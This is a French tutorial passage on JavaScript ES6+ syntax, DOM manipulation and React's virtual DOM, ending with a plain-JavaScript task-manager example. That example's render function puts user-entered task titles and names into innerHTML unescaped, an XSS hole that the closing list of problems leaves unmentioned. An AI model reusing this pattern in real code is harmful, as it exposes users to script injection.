━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
4.1 — POURQUOI ES6+ ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ES6 (ECMAScript 2015) a révolutionné JavaScript. React utilise massivement
toutes les fonctionnalités ES6+. Si tu vois du code React et que tu ne comprends
pas la syntaxe, c'est probablement du ES6+.

Features ES6 critiques pour React :
  • Destructuring (déstructuration)
  • Spread/Rest operator
  • Template literals
  • Arrow functions
  • Modules (import/export)
  • Classes
  • Promises / async/await
  • Optional chaining
  • Nullish coalescing

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
4.2 — DESTRUCTURING — UTILISÉ PARTOUT EN REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

La déstructuration permet d'EXTRAIRE des valeurs depuis des objets ou tableaux.

DÉSTRUCTURATION D'OBJET :
  const user = {
    id: 1,
    name: "Alice",
    email: "alice@taskflow.app",
    role: "admin",
    address: {
      city: "Paris",
      country: "France"
    }
  };

  // SANS déstructuration (ancien) :
  const name = user.name;
  const email = user.email;

  // AVEC déstructuration (ES6) :
  const { name, email } = user;
  // name = "Alice", email = "alice@taskflow.app"

  // Renommer la variable :
  const { name: userName, email: userEmail } = user;
  // userName = "Alice", userEmail = "alice@taskflow.app"

  // Valeur par défaut :
  const { name, role = "user", phone = null } = user;
  // phone = null (car user.phone est undefined)

  // Déstructuration imbriquée :
  const { address: { city, country } } = user;
  // city = "Paris", country = "France"

  // Rest operator avec déstructuration :
  const { id, ...userWithoutId } = user;
  // id = 1
  // userWithoutId = { name, email, role, address }

DÉSTRUCTURATION DANS LES PARAMÈTRES DE FONCTION (TRÈS COURANT EN REACT) :
  // Composant React sans déstructuration :
  function TaskCard(props) {
    return <div>{props.title} — {props.status}</div>;
  }

  // Composant React AVEC déstructuration (standard) :
  function TaskCard({ title, status, priority, onComplete }) {
    return (
      <div className={`task-card priority-${priority}`}>
        <h3>{title}</h3>
        <span>{status}</span>
        <button onClick={onComplete}>Terminer</button>
      </div>
    );
  }

DÉSTRUCTURATION DE TABLEAU :
  const colors = ["rouge", "vert", "bleu", "jaune"];

  const [first, second] = colors;
  // first = "rouge", second = "vert"

  // Ignorer des éléments :
  const [, , third] = colors;
  // third = "bleu"

  // Rest :
  const [head, ...tail] = colors;
  // head = "rouge", tail = ["vert", "bleu", "jaune"]

  // CRUCIAL EN REACT — useState retourne un tableau :
  const [count, setCount] = useState(0);
  // count = valeur actuelle
  // setCount = fonction pour mettre à jour

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
4.3 — SPREAD OPERATOR (...)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le spread operator "étale" un tableau ou objet dans un autre.

SPREAD SUR TABLEAU :
  const array1 = [1, 2, 3];
  const array2 = [4, 5, 6];

  const combined = [...array1, ...array2];
  // [1, 2, 3, 4, 5, 6]

  // Copier un tableau :
  const copy = [...array1];
  // [1, 2, 3] — copie shallow

  // Ajouter au début :
  const withStart = [0, ...array1];
  // [0, 1, 2, 3]

  // Ajouter à la fin :
  const withEnd = [...array1, 4];
  // [1, 2, 3, 4]

  // Supprimer un élément par index (PATTERN REACT) :
  const tasks = [task1, task2, task3];
  const indexToRemove = 1;
  const filtered = [
    ...tasks.slice(0, indexToRemove),
    ...tasks.slice(indexToRemove + 1)
  ];
  // [task1, task3]

SPREAD SUR OBJET :
  const defaults = { theme: "light", language: "fr", debug: false };
  const overrides = { theme: "dark", notifications: true };

  // Fusionner (overrides écrase defaults) :
  const config = { ...defaults, ...overrides };
  // { theme: "dark", language: "fr", debug: false, notifications: true }

  // PATTERN REACT — Mettre à jour un objet dans le state :
  const [user, setUser] = useState({ name: "Alice", role: "user" });

  // MAL : mutation directe
  user.name = "Alice Martin"; // JAMAIS ÇA EN REACT

  // BIEN : créer un nouvel objet
  setUser({ ...user, name: "Alice Martin" });
  // { name: "Alice Martin", role: "user" }

  // PATTERN — Mettre à jour un objet imbriqué :
  const [form, setForm] = useState({ email: "", password: "" });

  const handleEmailChange = (e) => {
    setForm(prev => ({
      ...prev,
      email: e.target.value
    }));
  };

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
4.4 — MODULES (IMPORT/EXPORT)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les modules permettent d'organiser le code en fichiers séparés.
En React, CHAQUE fichier est un module.

EXPORT :
  // utils/formatters.js

  // Export nommé :
  export const formatDate = (date) => {
    return new Date(date).toLocaleDateString('fr-FR');
  };

  export const formatCurrency = (amount, currency = 'EUR') => {
    return new Intl.NumberFormat('fr-FR', {
      style: 'currency',
      currency
    }).format(amount);
  };

  // Export par défaut (1 seul par fichier) :
  export default function calculateProgress(tasks) {
    const done = tasks.filter(t => t.status === 'done').length;
    return (done / tasks.length) * 100;
  }

IMPORT :
  // dashboard.js

  // Import nommé (doit correspondre exactement) :
  import { formatDate, formatCurrency } from './utils/formatters';

  // Import par défaut (nom libre) :
  import calculateProgress from './utils/formatters';

  // Combiner les deux :
  import calculateProgress, { formatDate } from './utils/formatters';

  // Importer tout :
  import * as formatters from './utils/formatters';
  formatters.formatDate(date);

  // Renommer :
  import { formatDate as fmtDate } from './utils/formatters';

EN REACT :
  // Importer React (obligatoire avant React 17) :
  import React from 'react';

  // Importer des hooks :
  import { useState, useEffect, useCallback } from 'react';

  // Importer des composants :
  import TaskCard from './components/TaskCard';
  import { TaskList, TaskFilter } from './components/Tasks';

  // Importer CSS :
  import './styles/TaskCard.css';
  import styles from './TaskCard.module.css'; // CSS Modules

  // Importer des assets :
  import logo from './assets/logo.svg';

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
4.5 — PROMESSES ET ASYNC/AWAIT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

JavaScript est asynchrone par nature. Les opérations comme les requêtes réseau
ne bloquent pas l'exécution — elles se terminent "plus tard".

QU'EST-CE QU'UNE PROMESSE ?
Une Promise est un objet représentant une opération FUTURE.
Elle peut être :
  • pending   : En attente (opération en cours)
  • fulfilled : Résolue (succès)
  • rejected  : Rejetée (erreur)

PROMESSE BASIQUE :
  const promise = new Promise((resolve, reject) => {
    // Opération asynchrone...
    setTimeout(() => {
      const success = Math.random() > 0.5;
      if (success) {
        resolve({ data: "Résultat" });  // Succès
      } else {
        reject(new Error("Opération échouée"));  // Échec
      }
    }, 1000);
  });

  promise
    .then(result => console.log("Succès:", result))
    .catch(error => console.error("Erreur:", error))
    .finally(() => console.log("Toujours exécuté"));

ASYNC/AWAIT (SYNTAXE MODERNE — UTILISÉE EN REACT) :
  // async transforme une fonction en fonction asynchrone
  // await attend la résolution d'une Promise

  async function fetchUser(userId) {
    try {
      const response = await fetch(`/api/users/${userId}`);

      if (!response.ok) {
        throw new Error(`Erreur HTTP: ${response.status}`);
      }

      const user = await response.json();
      return user;
    } catch (error) {
      console.error('Erreur fetchUser:', error);
      throw error;
    }
  }

  // Utilisation :
  const user = await fetchUser(1);  // Dans une fonction async

FETCH API (STANDARD) :
  async function fetchTasks(filters = {}) {
    const params = new URLSearchParams(filters);
    const url = `/api/tasks?${params}`;

    const response = await fetch(url, {
      method: 'GET',
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${localStorage.getItem('token')}`
      }
    });

    if (!response.ok) {
      const error = await response.json();
      throw new Error(error.message || 'Erreur serveur');
    }

    return response.json();
  }

  async function createTask(taskData) {
    const response = await fetch('/api/tasks', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${localStorage.getItem('token')}`
      },
      body: JSON.stringify(taskData)
    });

    if (!response.ok) throw new Error('Création échouée');
    return response.json();
  }

PARALLÉLISME :
  // Séquentiel (lent) :
  const user = await fetchUser(1);
  const tasks = await fetchTasks(1);

  // Parallèle (rapide) :
  const [user, tasks] = await Promise.all([
    fetchUser(1),
    fetchTasks(1)
  ]);

  // Promise.allSettled — continue même si une échoue :
  const results = await Promise.allSettled([
    fetchUser(1),
    fetchTasks(1)
  ]);

  results.forEach(result => {
    if (result.status === 'fulfilled') {
      console.log('Succès:', result.value);
    } else {
      console.error('Échec:', result.reason);
    }
  });

  // Promise.race — le premier qui finit gagne :
  const firstResult = await Promise.race([
    fetchFromServer1(),
    fetchFromServer2()
  ]);


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 5 : DOM — MANIPULATION DU DOCUMENT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
5.1 — QU'EST-CE QUE LE DOM ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le DOM (Document Object Model) est la REPRÉSENTATION en mémoire d'un document
HTML. C'est une structure d'arbre de nœuds que JavaScript peut manipuler.

Quand le navigateur charge un HTML, il crée un DOM tree.
JavaScript peut lire, modifier, ajouter, supprimer des nœuds du DOM.

REACT ET LE DOM :
React ABSTRAIT la manipulation directe du DOM.
Plutôt que de manipuler le DOM directement, tu décris ce que tu veux
(via JSX/composants), et React se charge de mettre à jour le DOM efficacement.

C'est pourquoi comprendre le DOM est CRUCIAL : React le fait pour toi,
mais tu dois comprendre ce qu'il fait sous le capot.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
5.2 — SÉLECTION D'ÉLÉMENTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Par ID (retourne 1 élément) :
  const loginForm = document.getElementById('login-form');

  // Par classe (retourne une HTMLCollection) :
  const taskCards = document.getElementsByClassName('task-card');

  // Par tag (retourne une HTMLCollection) :
  const paragraphs = document.getElementsByTagName('p');

  // Par sélecteur CSS (MODERN — retourne le PREMIER match) :
  const mainNav = document.querySelector('nav');
  const errorMsg = document.querySelector('.error-message');
  const emailInput = document.querySelector('#email');
  const firstButton = document.querySelector('form button[type="submit"]');

  // Par sélecteur CSS (retourne TOUS les matches — NodeList) :
  const allInputs = document.querySelectorAll('input');
  const allCards = document.querySelectorAll('.task-card');
  const highPriority = document.querySelectorAll('[data-priority="high"]');

  // Depuis un élément parent :
  const form = document.getElementById('login-form');
  const emailInput = form.querySelector('#email');  // Cherche dans form

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
5.3 — MANIPULATION D'ÉLÉMENTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  const element = document.querySelector('.task-title');

  // LIRE/ÉCRIRE LE CONTENU :
  element.textContent;           // Texte brut (sans HTML)
  element.textContent = "Nouveau titre";  // Modifier le texte

  element.innerHTML;             // HTML interne (ATTENTION : XSS !)
  element.innerHTML = '<strong>Titre</strong>';  // Modifier le HTML

  // ATTRIBUTS :
  element.getAttribute('class');           // Lire
  element.setAttribute('class', 'task-title active');  // Écrire
  element.removeAttribute('disabled');     // Supprimer
  element.hasAttribute('required');        // Vérifier

  // DATA ATTRIBUTES :
  element.dataset.taskId;        // data-task-id
  element.dataset.priority = "high";  // Set data-priority="high"

  // CLASSES CSS :
  element.classList.add('active');         // Ajouter
  element.classList.remove('active');      // Supprimer
  element.classList.toggle('active');      // Basculer
  element.classList.contains('active');    // Vérifier
  element.classList.replace('old', 'new'); // Remplacer

  // STYLES :
  element.style.color = 'red';
  element.style.fontSize = '18px';  // camelCase !
  element.style.backgroundColor = '#4f46e5';

  // Lire le style COMPUTED (appliqué par CSS) :
  const computedStyle = window.getComputedStyle(element);
  computedStyle.color;  // "rgb(79, 70, 229)"

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
5.4 — ÉVÉNEMENTS — ESSENTIEL POUR REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En JavaScript pur, on ajoute des listeners. En React, on utilise des props
d'événement (onClick, onChange, etc.) — mais le principe est identique.

AJOUTER UN ÉVÉNEMENT :
  const button = document.querySelector('#submit-btn');

  button.addEventListener('click', function(event) {
    console.log('Bouton cliqué !');
    console.log(event);         // L'objet événement
    console.log(event.target);  // L'élément cliqué
  });

  // Avec arrow function :
  button.addEventListener('click', (e) => {
    e.preventDefault();   // Empêcher le comportement par défaut
    e.stopPropagation();  // Arrêter la propagation (bubbling)
  });

ÉVÉNEMENTS COURANTS :
  // Souris :
  click        -> Clic gauche
  dblclick     -> Double-clic
  mouseenter   -> Souris entre dans l'élément
  mouseleave   -> Souris quitte l'élément
  mouseover    -> Survol (inclut enfants)
  mousedown    -> Bouton enfoncé
  mouseup      -> Bouton relâché
  contextmenu  -> Clic droit

  // Clavier :
  keydown      -> Touche enfoncée
  keyup        -> Touche relâchée
  keypress     -> Touche (character)

  // Formulaires :
  submit       -> Soumission du formulaire
  change       -> Valeur changée (après blur)
  input        -> Valeur changée (immédiat) <- Utilisé en React
  focus        -> Élément actif
  blur         -> Élément inactif
  reset        -> Formulaire réinitialisé

  // Documents/Fenêtre :
  load         -> Page chargée
  DOMContentLoaded -> DOM prêt
  resize       -> Fenêtre redimensionnée
  scroll       -> Défilement
  hashchange   -> Hash URL changé

L'OBJET EVENT :
  document.addEventListener('keydown', (e) => {
    e.key;           // "Enter", "Escape", "ArrowUp"...
    e.code;          // "Enter", "KeyA"...
    e.altKey;        // true si Alt enfoncé
    e.ctrlKey;       // true si Ctrl enfoncé
    e.shiftKey;      // true si Shift enfoncé
    e.metaKey;       // true si Cmd (Mac) enfoncé
    e.target;        // Élément qui a déclenché l'événement
    e.currentTarget; // Élément sur lequel le listener est

    // Raccourcis clavier :
    if (e.ctrlKey && e.key === 's') {
      e.preventDefault();  // Empêcher save du navigateur
      saveTask();
    }
  });

DÉLÉGATION D'ÉVÉNEMENTS :
  // Au lieu d'ajouter un listener sur chaque card (lent) :
  // On en met un seul sur le parent (rapide) :
  const taskList = document.querySelector('.task-list');

  taskList.addEventListener('click', (e) => {
    // Trouver l'élément le plus proche avec data-action
    const actionBtn = e.target.closest('[data-action]');
    if (!actionBtn) return;

    const action = actionBtn.dataset.action;
    const taskId = actionBtn.dataset.taskId;

    switch (action) {
      case 'complete': completeTask(taskId); break;
      case 'delete':   deleteTask(taskId); break;
      case 'edit':     editTask(taskId); break;
    }
  });

  // En React, ce pattern est automatique car on passe les callbacks via props.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
5.5 — CRÉATION ET MANIPULATION D'ÉLÉMENTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Créer un nouvel élément :
  const card = document.createElement('div');
  card.className = 'task-card';
  card.dataset.taskId = '42';

  const title = document.createElement('h3');
  title.textContent = 'Nouvelle tâche';

  const button = document.createElement('button');
  button.textContent = 'Terminer';
  button.className = 'btn btn-primary';

  // Assembler :
  card.appendChild(title);
  card.appendChild(button);

  // Insérer dans le DOM :
  const taskList = document.querySelector('.task-list');
  taskList.appendChild(card);           // À la fin
  taskList.prepend(card);              // Au début
  taskList.insertBefore(card, existingCard);  // Avant un élément
  existingCard.after(card);            // Après un élément

  // Supprimer :
  card.remove();
  taskList.removeChild(card);

  // Cloner :
  const clone = card.cloneNode(true);  // true = avec les enfants

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
5.6 — LE VIRTUAL DOM DE REACT — COMMENT ÇA FONCTIONNE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Maintenant que tu comprends le DOM réel, voici pourquoi React utilise un
VIRTUAL DOM.

PROBLÈME avec la manipulation directe du DOM :
  Modifier le DOM est LENT. Chaque modification déclenche :
  1. Recalcul du style (style recalculation)
  2. Repositionnement des éléments (layout / reflow)
  3. Redessin (repaint)
  4. Composition (composite)

  Si tu modifies 100 éléments DOM, le navigateur refait ces étapes 100 fois.
  Très coûteux en performance.

LA SOLUTION DE REACT — VIRTUAL DOM :

  Flux complet :

  Action utilisateur (clic, input...)
           v
  setState() appelé
           v
  React crée un NOUVEAU Virtual DOM
  (représentation JS légère de l'UI)
           v
  React COMPARE nouveau vs ancien Virtual DOM
  (algorithme de "diffing" = reconciliation)
           v
  React calcule le MINIMUM de changements nécessaires
           v
  React applique UNIQUEMENT ces changements au vrai DOM
  (batch update)
           v
  Navigateur re-render l'UI

AVANTAGES :
  • Performance : Moins de manipulations DOM réelles
  • Déclaratif : Tu décris QUOI afficher, pas COMMENT le modifier
  • Prévisible : Même state = même rendu
  • Testable : Pas besoin d'un vrai navigateur pour tester

LE VIRTUAL DOM EN PRATIQUE :
  // En JS pur, tu ferais :
  const task = document.querySelector(`[data-id="${id}"]`);
  task.classList.toggle('completed');
  task.querySelector('.status').textContent = 'Terminé';

  // En React, tu décrives l'état souhaité :
  const [tasks, setTasks] = useState(initialTasks);

  const completeTask = (id) => {
    setTasks(tasks.map(task =>
      task.id === id
        ? { ...task, status: 'done', completed: true }
        : task
    ));
  };
  // React se charge de mettre à jour le DOM pour toi !

L'ALGORITHME DE RECONCILIATION :
  React utilise un algorithme O(n) (linéaire) pour comparer les arbres.
  Il fait deux suppositions :
    1. Deux éléments de types différents produisent des arbres différents
    2. L'attribut "key" indique quel élément est lequel entre les rendus

  C'est pourquoi la prop KEY est OBLIGATOIRE dans les listes React :
    {tasks.map(task => (
      <TaskCard key={task.id} task={task} />
      // ^ key permet à React d'identifier chaque card entre les rendus
    ))}

  Sans key : React ne sait pas quel élément a changé -> re-render tout.
  Avec key : React sait exactement quoi mettre à jour -> optimal.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
5.7 — RÉSUMÉ VISUEL : DOM vs VIRTUAL DOM
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  MANIPULATION DIRECTE (JS pur) :
  ┌─────────────────────────────────────────┐
  │  Code JS -> DOM réel (directement)       │
  │                                         │
  │  setTitle()   -> h3.textContent = ...    │
  │  addTask()    -> list.appendChild(...)   │
  │  deleteTask() -> card.remove()           │
  │                                         │
  │  Chaque opération = re-render navigateur│
  │  Peut être très lent avec beaucoup d'op │
  └─────────────────────────────────────────┘

  REACT (VIRTUAL DOM) :
  ┌─────────────────────────────────────────┐
  │  setState() -> Virtual DOM (JS objet)    │
  │                                         │
  │  Old VDOM    ->  Diff  ->  New VDOM       │
  │  {tasks:5}       ^v       {tasks:6}      │
  │              [1 ajout]                  │
  │                  v                      │
  │  DOM réel : append(1 élément seulement) │
  │                                         │
  │  Opérations groupées = 1 seul re-render │
  └─────────────────────────────────────────┘


════════════════════════════════════════════════════════════════════════════════
PROJET TASKFLOW — FONDATIONS COMPLÈTES
════════════════════════════════════════════════════════════════════════════════

Avant de passer à React, voici l'app TaskFlow en JavaScript pur.
Cela te montrera ce que React REMPLACE et AMÉLIORE.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
TASKFLOW V0 — JAVASCRIPT PUR (À NE PAS UTILISER EN PRODUCTION)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

┌─────────────────────────────────────────────────────────────────┐
│  // app.js — TaskFlow sans React (pour comprendre le problème)  │
│                                                                  │
│  // === ÉTAT DE L'APPLICATION ===                               │
│  let state = {                                                   │
│    tasks: [                                                      │
│      {                                                           │
│        id: 1,                                                    │
│        title: "Créer le wireframe",                             │
│        status: "done",                                          │
│        priority: "high",                                        │
│        assignee: "Alice",                                       │
│        createdAt: new Date("2024-01-10"),                       │
│        dueDate: new Date("2024-01-15")                         │
│      },                                                          │
│      {                                                           │
│        id: 2,                                                    │
│        title: "Implémenter l'auth",                             │
│        status: "in_progress",                                   │
│        priority: "high",                                        │
│        assignee: "Bob",                                         │
│        createdAt: new Date("2024-01-11"),                       │
│        dueDate: new Date("2024-01-20")                         │
│      },                                                          │
│      {                                                           │
│        id: 3,                                                    │
│        title: "Tests unitaires",                                │
│        status: "todo",                                          │
│        priority: "medium",                                      │
│        assignee: "Alice",                                       │
│        createdAt: new Date("2024-01-12"),                       │
│        dueDate: new Date("2024-01-25")                         │
│      }                                                           │
│    ],                                                            │
│    filter: "all",                                               │
│    user: {                                                       │
│      name: "Alice Martin",                                      │
│      email: "alice@taskflow.app",                               │
│      role: "admin"                                              │
│    }                                                             │
│  };                                                              │
│                                                                  │
│  // === UTILITAIRES ===                                         │
│  const formatDate = (date) => {                                 │
│    return new Intl.DateTimeFormat('fr-FR', {                    │
│      day: '2-digit',                                            │
│      month: 'short',                                            │
│      year: 'numeric'                                            │
│    }).format(date);                                             │
│  };                                                              │
│                                                                  │
│  const getPriorityLabel = (priority) => {                       │
│    const labels = {                                             │
│      critical: '[ROUGE] Critique',                                   │
│      high: '[ORANGE] Haute',                                          │
│      medium: '[JAUNE] Moyenne',                                      │
│      low: '[VERT] Basse'                                            │
│    };                                                            │
│    return labels[priority] || priority;                         │
│  };                                                              │
│                                                                  │
│  const getStatusLabel = (status) => {                           │
│    const labels = {                                             │
│      todo: 'À faire',                                           │
│      in_progress: 'En cours',                                   │
│      done: 'Terminé',                                           │
│      cancelled: 'Annulé'                                        │
│    };                                                            │
│    return labels[status] || status;                             │
│  };                                                              │
│                                                                  │
│  // === RENDU (RE-RENDER TOUT À CHAQUE FOIS) ===                │
│  // C'est le PROBLÈME que React résout !                        │
│  function render() {                                             │
│    const taskList = document.querySelector('#task-list');       │
│    const filteredTasks = state.filter === 'all'                 │
│      ? state.tasks                                              │
│      : state.tasks.filter(t => t.status === state.filter);     │
│                                                                  │
│    // Vider et reconstruire (inefficace) :                      │
│    taskList.innerHTML = '';                                      │
│                                                                  │
│    if (filteredTasks.length === 0) {                            │
│      taskList.innerHTML = `                                      │
│        <div class="empty-state">                                │
│          <p>Aucune tâche à afficher.</p>                        │
│        </div>                                                    │
│      `;                                                          │
│      return;                                                     │
│    }                                                             │
│                                                                  │
│    filteredTasks.forEach(task => {                              │
│      const card = document.createElement('article');            │
│      card.className = `task-card priority-${task.priority}`;   │
│      card.dataset.taskId = task.id;                             │
│                                                                  │
│      card.innerHTML = `                                         │
│        <div class="task-card__header">                         │
│          <h3 class="task-card__title">${task.title}</h3>        │
│          <span class="badge priority-${task.priority}">        │
│            ${getPriorityLabel(task.priority)}                   │
│          </span>                                                 │
│        </div>                                                    │
│        <div class="task-card__meta">                           │
│          <span class="status status-${task.status}">           │
│            ${getStatusLabel(task.status)}                       │
│          </span>                                                 │
│          <span class="assignee">[UTILISATEUR] ${task.assignee}</span>      │
│          <span class="due-date">[CALENDRIER] ${formatDate(task.dueDate)}</span>  │
│        </div>                                                    │
│        <div class="task-card__actions">                        │
│          <button                                                │
│            class="btn btn-sm"                                   │
│            data-action="complete"                               │
│            data-task-id="${task.id}"                            │
│            ${task.status === 'done' ? 'disabled' : ''}         │
│          >                                                       │
│            [OK] Terminer                                           │
│          </button>                                              │
│          <button                                                │
│            class="btn btn-sm btn-danger"                        │
│            data-action="delete"                                 │
│            data-task-id="${task.id}"                            │
│          >                                                       │
│            [SUPPRIMER] Supprimer                                         │
│          </button>                                              │
│        </div>                                                    │
│      `;                                                          │
│      taskList.appendChild(card);                                │
│    });                                                           │
│                                                                  │
│    // Mise à jour du compteur :                                 │
│    document.querySelector('#task-count').textContent =          │
│      `${filteredTasks.length} tâche(s)`;                       │
│  }                                                               │
│                                                                  │
│  // === ACTIONS ===                                             │
│  function completeTask(taskId) {                                │
│    state.tasks = state.tasks.map(task =>                        │
│      task.id === taskId                                         │
│        ? { ...task, status: 'done' }                            │
│        : task                                                    │
│    );                                                            │
│    render();  // Redessiner tout (inefficace)                   │
│  }                                                               │
│                                                                  │
│  function deleteTask(taskId) {                                  │
│    if (!confirm('Supprimer cette tâche ?')) return;             │
│    state.tasks = state.tasks.filter(t => t.id !== taskId);     │
│    render();                                                     │
│  }                                                               │
│                                                                  │
│  function addTask(taskData) {                                   │
│    const newTask = {                                            │
│      ...taskData,                                               │
│      id: Date.now(),                                            │
│      createdAt: new Date(),                                     │
│      status: 'todo'                                             │
│    };                                                            │
│    state.tasks = [...state.tasks, newTask];                     │
│    render();                                                     │
│  }                                                               │
│                                                                  │
│  // === ÉVÉNEMENTS ===                                          │
│  document.addEventListener('DOMContentLoaded', () => {         │
│    // Délégation d'événements sur la liste :                   │
│    document.querySelector('#task-list').addEventListener(       │
│      'click',                                                    │
│      (e) => {                                                    │
│        const btn = e.target.closest('[data-action]');          │
│        if (!btn) return;                                        │
│                                                                  │
│        const { action, taskId } = btn.dataset;                 │
│        const id = parseInt(taskId);                             │
│                                                                  │
│        if (action === 'complete') completeTask(id);             │
│        if (action === 'delete') deleteTask(id);                 │
│      }                                                           │
│    );                                                            │
│                                                                  │
│    // Filtres :                                                 │
│    document.querySelectorAll('[data-filter]').forEach(btn => {  │
│      btn.addEventListener('click', () => {                      │
│        state.filter = btn.dataset.filter;                       │
│        document.querySelectorAll('[data-filter]')               │
│          .forEach(b => b.classList.remove('active'));           │
│        btn.classList.add('active');                             │
│        render();                                                 │
│      });                                                         │
│    });                                                           │
│                                                                  │
│    // Formulaire nouvelle tâche :                              │
│    document.querySelector('#new-task-form')                     │
│      .addEventListener('submit', (e) => {                       │
│        e.preventDefault();                                      │
│        const formData = new FormData(e.target);                 │
│        addTask({                                                 │
│          title: formData.get('title'),                          │
│          priority: formData.get('priority'),                    │
│          assignee: formData.get('assignee'),                    │
│          dueDate: new Date(formData.get('dueDate'))             │
│        });                                                       │
│        e.target.reset();                                         │
│      });                                                         │
│                                                                  │
│    // Rendu initial :                                           │
│    render();                                                     │
│  });                                                             │
└─────────────────────────────────────────────────────────────────┘

PROBLÈMES DE CETTE APPROCHE (que React résout) :
  1. innerHTML = '' -> Détruit et recrée tout le DOM à chaque update (lent)
  2. Gestion manuelle des événements -> Code répétitif et fragile
  3. State global mutable -> Difficile à débugger
  4. Pas de composants -> Code monolithique, difficile à réutiliser
  5. Pas de gestion d'erreurs globale -> Chaque action doit gérer ses erreurs
  6. Pas de virtualisation -> 1000 tâches = 1000 éléments DOM


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ DE LA PARTIE 1
════════════════════════════════════════════════════════════════════════════════

Tu as appris :

  HTML :
    [OK] Structure d'un document HTML5 valide
    [OK] Balises sémantiques (header, main, article, aside, footer)
    [OK] Formulaires accessibles avec labels, aria-*
    [OK] Attributs importants (data-*, aria-*, tabindex)

  CSS :
    [OK] Sélecteurs et spécificité
    [OK] Box model et box-sizing: border-box
    [OK] Flexbox (layout 1D)
    [OK] CSS Grid (layout 2D)
    [OK] Variables CSS (design system)
    [OK] Responsive design avec media queries
    [OK] Animations et transitions

  JavaScript :
    [OK] Variables (const, let) et types
    [OK] Fonctions et arrow functions
    [OK] Méthodes de tableau (map, filter, reduce...)
    [OK] Objets et spread operator
    [OK] Gestion d'erreurs (try/catch)

  ES6+ :
    [OK] Destructuring (objet et tableau)
    [OK] Spread / Rest operator
    [OK] Modules (import/export)
    [OK] Async/await et Promises
    [OK] Optional chaining (?.)
    [OK] Nullish coalescing (??)

  DOM :
    [OK] Sélection d'éléments
    [OK] Manipulation du DOM
    [OK] Événements et délégation
    [OK] Création dynamique d'éléments
    [OK] Virtual DOM de React (concept)

PROCHAINE PARTIE : Introduction à React !
  Tu vas voir comment React résout tous les problèmes du JS pur
  avec une approche déclarative, composants, et gestion d'état.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CHECKPOINT — AVANT DE PASSER À LA PARTIE 2
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

